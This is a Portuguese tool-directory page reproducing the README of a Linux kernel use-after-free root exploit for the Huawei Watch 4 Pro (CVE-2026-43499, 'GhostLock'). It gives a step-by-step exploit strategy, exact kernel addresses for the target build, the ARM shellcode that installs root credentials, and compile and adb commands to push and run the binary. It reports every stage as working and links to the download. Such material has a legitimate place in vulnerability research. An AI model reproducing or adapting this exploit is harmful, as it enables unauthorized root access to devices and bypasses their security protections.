Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ghostlock-cve-2026-43499 — CVE-2026-43499 (GhostLock) — pesquisa de escalada de privilégios ARM32 por UAF em futex PI rt_mutex do kernel Linux, direcionada ao Huawei Watch 4 Pro (kernel 5.4.210) | Kitploit
Ferramentas/GitHubGitHub/gitchw/ghostlock-cve-2026-43499
Segurança de Sistemas EmbarcadosEscalada de PrivilégiosSegurança IoTAnálise de VulnerabilidadesExploraçãoEngenharia ReversaDesenvolvimento de PayloadsExploração de Binários

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHubgitchw/ghostlock-cve-2026-43499

ghostlock-cve-2026-43499

CVE-2026-43499 (GhostLock) — pesquisa de escalada de privilégios ARM32 por UAF em futex PI rt_mutex do kernel Linux, direcionada ao Huawei Watch 4 Pro (kernel 5.4.210)

Ver Repositório
4278há 29 diasAinda não revisado

CVE-2026-43499 (GhostLock) — Pesquisa de Escalação de Privilégios no Kernel ARM32

Pesquisa e desenvolvimento de exploit da vulnerabilidade Use-After-Free em rt_mutex de futex PI do kernel Linux, com foco no Huawei Watch 4 Pro (MDS-AL00), Snapdragon SW5100, armv7l, kernel 5.4.210.

Vulnerabilidade

remove_waiter() em kernel/locking/rt_mutex.c usa incorretamente current em vez de waiter->task durante o rollback do proxy-lock, falhando em limpar pi_blocked_on na tarefa waiter. Isso deixa um ponteiro pendente de task_struct para um rt_mutex_waiter alocado na pilha após o frame da pilha do kernel do waiter ser liberado — um clássico Use-After-Free de pilha.

Estratégia de Exploit

  1. Ponteiro pendente — Disparar o rollback EDEADLK via futex(FUTEX_CMP_REQUEUE_PI) entre três threads; o pi_blocked_on do waiter aponta para a pilha liberada.
  2. Stack spray (stamp) — Usar prctl(PR_SET_NAME) (opção 15, sem privilégios) para copiar 15 bytes de dados controlados para a pilha do kernel, sobrescrevendo os campos task/lock/prio do waiter falso.
  3. Primitiva de escrita — sched_setattr() dispara a travessia da cadeia PI; o waiter falso é enfileirado em um rt_mutex forjado que se sobrepõe a uma struct file_operations do kernel. A inserção na árvore rubro-negra escreve o endereço da pilha do kernel do waiter em fops->unlocked_ioctl.
  4. Execução de código — Re-stampar o waiter com shellcode ARM independente de posição; abrir um dispositivo de caractere acessível globalmente e chamar ioctl(), que despacha através do ponteiro unlocked_ioctl sobrescrito para o shellcode na pilha executável do kernel.
  5. Escalação de privilégios — O shellcode chama commit_creds(waiter) onde os primeiros campos do waiter (definidos por rb_insert_color) formam uma struct cred falsa com uid/gid = 0.

Status Atual

  • Gatilho UAF: funcionando (verificado no dispositivo)
  • Stack stamp via prctl: funcionando
  • Primitiva de escrita de endereço único da pilha do kernel: funcionando (sobrescreve fops->unlocked_ioctl com o endereço da pilha do waiter)
  • Pilha do kernel confirmada como executável (sem PXN/NX na região BSS/pilha)
  • Execução de código e escalação para root: funcionando (despacha via ioctl(null_fd, IOCTL_CMD, 0) para o shellcode -> commit_creds(&init_cred) -> shell root)

Dispositivo Alvo

PropriedadeValor
DispositivoHuawei Watch 4 Pro (MDS-AL00)
SoCSnapdragon SW5100 (Cortex-A7, armv7l)
Kernel5.4.210 (ARM 32 bits)
KASLRdesabilitado
PAN/SMAPnão presente
PXNausente em 0xc1b00000+ (pilha/BSS executável)
CFI/PACnão presente

Endereços-Chave do Kernel

kernel base           0xC0008000
syscall table         0xc0101264
do_vfs_ioctl          0xc031c0ec  (fops->unlocked_ioctl call at 0xc031c8a0)
commit_creds          0xc014c898  (true commit_creds entry)
override_creds        0xc014cac8  (leaf helper immediately following commit_creds)
rt_mutex_enqueue      0xc019c660
rb_insert_color       0xc104a918
init_task             0xc1b11640
init_cred             0xc1b17e60
null_fops (/dev/null) 0xc141f5b0
FAKE_LOCK             0xc141f5d4  (null_fops + 0x24)
write target          0xc141f5d8  (null_fops + 0x28 = unlocked_ioctl)
IOCTL_CMD             0x01B17E60  (INIT_CRED + 0x40000000)

Estrutura do Repositório

.
├── README.md                  # Project documentation
├── boot.img                   # Target device boot image (32 MB)
├── exploit/
│   ├── ghostlock_arm32.c      # Main ARM32 exploit source
│   ├── ghostlock_arm32.h      # Exploit definitions header
│   ├── ghostlock_arm32        # Compiled static ARM binary
│   ├── ghostlock_poc1.c       # Initial crash POC
│   ├── nebula_poc.c           # Nebula team reference POC
│   └── variants/              # Research exploit variants & performance tests
│       ├── ghostlock_v11_kgsl_preadv2.c
│       ├── ghostlock_v6a_kgsl_getdents64.c
│       ├── ghostlock_v7_clock_adjtime.c
│       └── ...
├── kernel/
│   ├── kernel_raw.bin         # Uncompressed kernel binary (28 MB)
│   └── kallsyms_parsed.txt    # Extracted kernel symbol table
├── analysis/                  # Capstone/Keystone-based reverse engineering
│   ├── *.py                   # Disassembly and verification scripts
│   └── *.txt                  # Extracted tables and scan logs
├── references/
│   ├── ghostlock/             # Earlier exploit iterations & research notes
│   ├── ref_tc3650/            # TC3650 ARM32 reference materials
│   └── ref_oneplus_aarch64/   # OnePlus / Oppo AArch64 GhostLock references
└── tools/
    └── fetch_missing.sh       # Zig-based musl toolchain compilation script

Compilação

Usando GCC ou Zig para compilação cruzada:

# Option A: GCC cross compiler
arm-linux-gnueabihf-gcc -static -O2 -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread

# Option B: Zig compiler
zig cc -target arm-linux-musleabi -O2 -static -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread

Execução

adb push exploit/ghostlock_arm32 /data/local/tmp/
adb shell chmod +x /data/local/tmp/ghostlock_arm32
adb shell /data/local/tmp/ghostlock_arm32

Design de Shellcode

Shellcode ARM independente de posição gravado em waiter+0x18:

sub r0, r1, #0x40000000   @ r0 = ioctl cmd - 0x40000000 = &init_cred
ldr pc, [pc, #-4]         @ jump to commit_creds
.word 0xc014c898          @ true commit_creds entry
  • Quando ioctl(null_fd, cmd, arg) despacha f_op->unlocked_ioctl(filp, cmd, arg), o registrador r1 contém o argumento cmd.
  • Ao definir cmd = 0x01B17E60, sub r0, r1, #0x40000000 (codificação 0xe2410101, sem bytes nulos) calcula r0 = 0xc1b17e60 (&init_cred).
  • commit_creds(&init_cred) instala credenciais de root com todas as capacidades e contexto de segurança SELinux limpo, retornando de forma limpa para do_vfs_ioctl (lr = 0xc031c8c0).

Nota sobre o Layout de file_operations

O struct file_operations deste kernel de fabricante possui um campo extra de 4 bytes no offset +0x24 (entre poll e unlocked_ioctl), deslocando todos os membros subsequentes em 4 bytes em relação ao Linux 5.4 padrão:

+0x04 llseek        +0x20 poll
+0x08 read          +0x24 <vendor extra>
+0x0c write         +0x28 unlocked_ioctl
+0x10 read_iter     +0x2c compat_ioctl
+0x14 write_iter    +0x30 mmap
+0x18 iterate       +0x38 open
+0x1c iterate_shared +0x40 release

Isso foi verificado desmontando os manipuladores de fops ashmem e null.

Aviso legal

Este repositório destina-se exclusivamente a pesquisa e educação em segurança. Não utilize estas técnicas em dispositivos que não sejam de sua propriedade ou para os quais não tenha autorização para testar.

Baixar ferramenta